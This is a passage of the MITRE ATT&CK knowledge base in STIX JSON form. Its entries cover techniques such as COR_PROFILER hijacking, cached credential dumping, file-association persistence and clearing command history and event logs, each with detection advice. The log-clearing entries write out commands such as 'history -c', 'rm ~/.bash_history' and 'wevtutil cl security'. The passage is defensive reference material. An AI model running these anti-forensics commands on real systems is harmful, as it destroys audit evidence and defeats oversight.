            "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).",
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1574.012",
                    "url": "https://attack.mitre.org/techniques/T1574/012"
                },
                {
                    "source_name": "Microsoft Profiling Mar 2017",
                    "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview",
                    "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020."
                },
                {
                    "source_name": "Microsoft COR_PROFILER Feb 2013",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)",
                    "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020."
                },
                {
                    "source_name": "RedCanary Mockingbird May 2020",
                    "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/",
                    "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."
                },
                {
                    "source_name": "Red Canary COR_PROFILER May 2020",
                    "url": "https://redcanary.com/blog/cor_profiler-for-persistence/",
                    "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020."
                },
                {
                    "source_name": "Almond COR_PROFILER Apr 2019",
                    "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html",
                    "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020."
                },
                {
                    "source_name": "GitHub OmerYa Invisi-Shell",
                    "url": "https://github.com/OmerYa/Invisi-Shell",
                    "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020."
                },
                {
                    "source_name": "subTee .NET Profilers May 2017",
                    "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html",
                    "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "COR_PROFILER",
            "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)",
            "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-06-26T16:09:58.920Z",
            "created": "2020-06-24T22:30:55.843Z",
            "x_mitre_detection": "For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Module: Module Load",
                "Command: Command Execution"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_contributors": [
                "Jesse Brown, Red Canary"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1003.005",
                    "url": "https://attack.mitre.org/techniques/T1003/005"
                },
                {
                    "source_name": "Microsoft - Cached Creds",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)",
                    "description": "Microsfot. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020."
                },
                {
                    "source_name": "PassLib mscache",
                    "url": "https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html",
                    "description": "Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020."
                },
                {
                    "source_name": "ired mscache",
                    "url": "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials",
                    "description": "Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020."
                },
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Cached Domain Credentials",
            "description": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)",
            "id": "attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-03-24T20:41:08.996Z",
            "created": "2020-02-21T15:42:25.991Z",
            "x_mitre_contributors": [
                "Ed Williams, Trustwave, SpiderLabs"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.",
            "x_mitre_data_sources": [
                "Command: Command Execution"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--68c96494-1a50-403e-8844-69a6af278c68",
            "name": "Change Default File Association",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1042",
                    "url": "https://attack.mitre.org/techniques/T1042"
                },
                {
                    "external_id": "CAPEC-556",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/556.html"
                },
                {
                    "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs",
                    "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
                    "source_name": "Microsoft Change Default Programs"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx",
                    "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.",
                    "source_name": "Microsoft File Handlers"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc",
                    "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
                    "source_name": "Microsoft Assoc Oct 2017"
                },
                {
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd",
                    "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
                    "source_name": "TrendMicro TROJ-FAKEAV OCT 2012"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T13:41:32.520Z",
            "created": "2017-05-31T21:30:42.222Z"
        },
        {
            "created": "2020-01-24T13:40:47.282Z",
            "modified": "2020-01-24T13:40:47.282Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c",
            "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under <code>HKEY_CLASSES_ROOT\\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command</code>. For example: \n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command</code>\n* <code>HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command</code>\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
            "name": "Change Default File Association",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1546.001",
                    "url": "https://attack.mitre.org/techniques/T1546/001"
                },
                {
                    "external_id": "CAPEC-556",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/556.html"
                },
                {
                    "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs",
                    "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016.",
                    "source_name": "Microsoft Change Default Programs"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx",
                    "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014.",
                    "source_name": "Microsoft File Handlers"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc",
                    "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018.",
                    "source_name": "Microsoft Assoc Oct 2017"
                },
                {
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd",
                    "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018.",
                    "source_name": "TrendMicro TROJ-FAKEAV OCT 2012"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Stefan Kanthak"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under <code> [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts</code> and override associations configured under <code>[HKEY_CLASSES_ROOT]</code>. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830",
            "name": "Clear Command History",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1146",
                    "external_id": "T1146"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-31T12:32:52.281Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1070.003",
                    "url": "https://attack.mitre.org/techniques/T1070/003"
                },
                {
                    "source_name": "Microsoft PowerShell Command History",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7",
                    "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020."
                },
                {
                    "source_name": "Sophos PowerShell command audit",
                    "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit",
                    "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020."
                },
                {
                    "source_name": "Sophos PowerShell Command History Forensics",
                    "url": "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics",
                    "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Clear Command History",
            "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (<code>history -c</code>) or deleting the bash history file <code>rm ~/.bash_history</code>.\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the <code>PSReadLine</code> module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe <code>PSReadLine</code> command history tracks the commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command <code>Clear-History</code> to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the <code>ConsoleHost_history.txt</code> file. Adversaries may also delete the <code>ConsoleHost_history.txt</code> file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",
            "id": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-10-16T18:09:48.686Z",
            "created": "2020-01-31T12:32:08.228Z",
            "x_mitre_contributors": [
                "Vikas Singh, Sophos",
                "Emile Kenning, Sophos"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_defense_bypassed": [
                "Host forensic analysis",
                "Log analysis"
            ],
            "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's <code>~/.bash_history</code> is suspicious. Additionally, the removal/clearing of the <code>~/.bash_history</code> file can be an indicator of suspicious activity.\n\nMonitor for suspicious modifications or deletion of <code>ConsoleHost_history.txt</code> and use of the <code>Clear-History</code> command.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Modification",
                "File: File Deletion"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1070.002",
                    "url": "https://attack.mitre.org/techniques/T1070/002"
                },
                {
                    "source_name": "Linux Logs",
                    "url": "https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/",
                    "description": "Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Clear Linux or Mac System Logs",
            "description": "Adversaries may clear system logs to hide evidence of an intrusion. macOS and Linux both keep track of system or user-initiated actions via system logs. The majority of native system logging is stored under the <code>/var/log/</code> directory. Subfolders in this directory categorize logs by their related functions, such as:(Citation: Linux Logs)\n\n* <code>/var/log/messages:</code>: General and system-related messages\n* <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication logs\n* <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records\n* <code>/var/log/kern.log</code>: Kernel logs\n* <code>/var/log/cron.log</code>: Crond logs\n* <code>/var/log/maillog</code>: Mail server logs\n* <code>/var/log/httpd/</code>: Web server access and error logs\n",
            "id": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-29T21:23:51.886Z",
            "created": "2020-01-28T17:11:54.034Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.",
            "x_mitre_data_sources": [
                "File: File Deletion",
                "File: File Modification",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1070.001",
                    "url": "https://attack.mitre.org/techniques/T1070/001"
                },
                {
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil",
                    "description": "Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018.",
                    "source_name": "Microsoft wevtutil Oct 2017"
                },
                {
                    "url": "https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx",
                    "description": "Microsoft. (n.d.). EventLog.Clear Method (). Retrieved July 2, 2018.",
                    "source_name": "Microsoft EventLog.Clear"
                },
                {
                    "url": "https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog",
                    "description": "Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018.",
                    "source_name": "Microsoft Clear-EventLog"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Clear Windows Event Logs",
            "description": "Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.\n\nThe event logs can be cleared with the following utility commands:\n\n* <code>wevtutil cl system</code>\n* <code>wevtutil cl application</code>\n* <code>wevtutil cl security</code>\n\nThese logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "id": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-29T21:17:03.732Z",
            "created": "2020-01-28T17:05:14.707Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_system_requirements": [
                "Clearing the Windows event logs requires Administrator permissions"
            ],
            "x_mitre_defense_bypassed": [
                "Anti Virus",
                "Host Intrusion Prevention Systems",
                "Log Analysis"
            ],
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: \"The audit log was cleared\").",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1592.004",
                    "url": "https://attack.mitre.org/techniques/T1592/004"
                },
                {
                    "source_name": "ATT ScanBox",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Client Configurations",
            "description": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
            "id": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:22:14.288Z",
            "created": "2020-10-02T16:47:16.719Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "created": "2017-05-31T21:31:25.967Z",
            "modified": "2020-04-23T18:35:58.230Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "type": "attack-pattern",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1115",
                    "url": "https://attack.mitre.org/techniques/T1115"
                },
                {
                    "external_id": "CAPEC-637",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/637.html"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/ms649012",
                    "description": "Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.",
                    "source_name": "MSDN Clipboard"
                },
                {
                    "url": "https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363",
                    "description": "rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.",
                    "source_name": "Operating with EmPyre"
                }
            ],
            "description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nIn Windows, Applications can access clipboard data by using the Windows API.(Citation: MSDN Clipboard) OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents.(Citation: Operating with EmPyre)",
            "name": "Clipboard Data",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1136.003",
                    "url": "https://attack.mitre.org/techniques/T1136/003"
                },
                {
                    "source_name": "Microsoft O365 Admin Roles",
                    "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide",
                    "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019."
                },
                {
                    "source_name": "Microsoft Support O365 Add Another Admin, October 2019",
                    "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d",
                    "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019."
                },
                {
                    "source_name": "AWS Create IAM User",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html",
                    "description": "AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020."
                },
                {
                    "source_name": "GCP Create Cloud Identity Users",
                    "url": "https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554",
                    "description": "Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020."
                },
                {
                    "source_name": "Microsoft Azure AD Users",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory",
                    "description": "Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020."
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Cloud Account",
            "description": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.",
            "id": "attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
